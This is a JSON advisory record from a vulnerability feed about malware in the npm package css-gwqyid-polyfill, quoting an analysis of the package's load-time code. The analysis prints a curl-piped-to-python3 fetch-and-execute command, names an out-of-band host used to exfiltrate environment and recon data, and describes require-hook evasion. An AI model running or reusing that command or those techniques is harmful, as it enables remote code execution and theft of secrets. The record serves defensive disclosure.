{"items":[{"id":"NVI-00010994","kind":"supply_chain_event","title":"Malicious code in css-gwqyid-polyfill (npm)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-x6w7-8rr6-f834"],"plain_summary":"GitHub lists this malware advisory for css-gwqyid-polyfill. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-862df17968641d88f08ceae5e39d667d"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-862df17968641d88f08ceae5e39d667d","url":"https://github.com/advisories/GHSA-x6w7-8rr6-f834","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-x6w7-8rr6-f834","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T23:13:05.881Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-862df17968641d88f08ceae5e39d667d"],"technology":"css-gwqyid-polyfill","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (3a81a389193175e49648e711d4eb83ebcbbd0b51e1b7a6677ceb338c3398dc19)\nthunderboltRegistry.js executes an IIFE on module load that collects host reconnaissance (`id`, `whoami`, full process environment via `env`, and `ifconfig`/`ip addr` output) and sends each result as a GET query-string to the hardcoded out-of-band host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, keyed by `os.hostname()`. The same IIFE invokes `execSync(\"curl -L https://appsecc.com/py | python3\")` to fetch and execute an opaque remote Python payload with the installer's privileges, tagging the output `cmd=reverse-shell` before exfiltrating it to the same oastify host. The payload deletes its own entries from `require.cache` and resolves `child_process` through three alternative paths (plain name, `node:` prefix, and a freshly constructed `Module` instance) to evade monkey-patched require hooks. The package's advertised identity as a CSS/Thunderbolt polyfill does not correspond to any code of that nature in the file and functions as a cover story for the recon, fetch-and-execute, and sandbox-evasion logic.\n\n---\n\nCredit: OpenSSF ([sou","public_affected_ranges":["= 1.0.0"]}],"null_published_at":"2026-10-31T23:18:22.420Z","source_updated_at":"2026-10-05T18:34:14.000Z","source_disclosed_at":"2026-10-05T18:34:13.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T23:13:05.881Z"}],"next_cursor":null,"snapshot_revision":"42594"}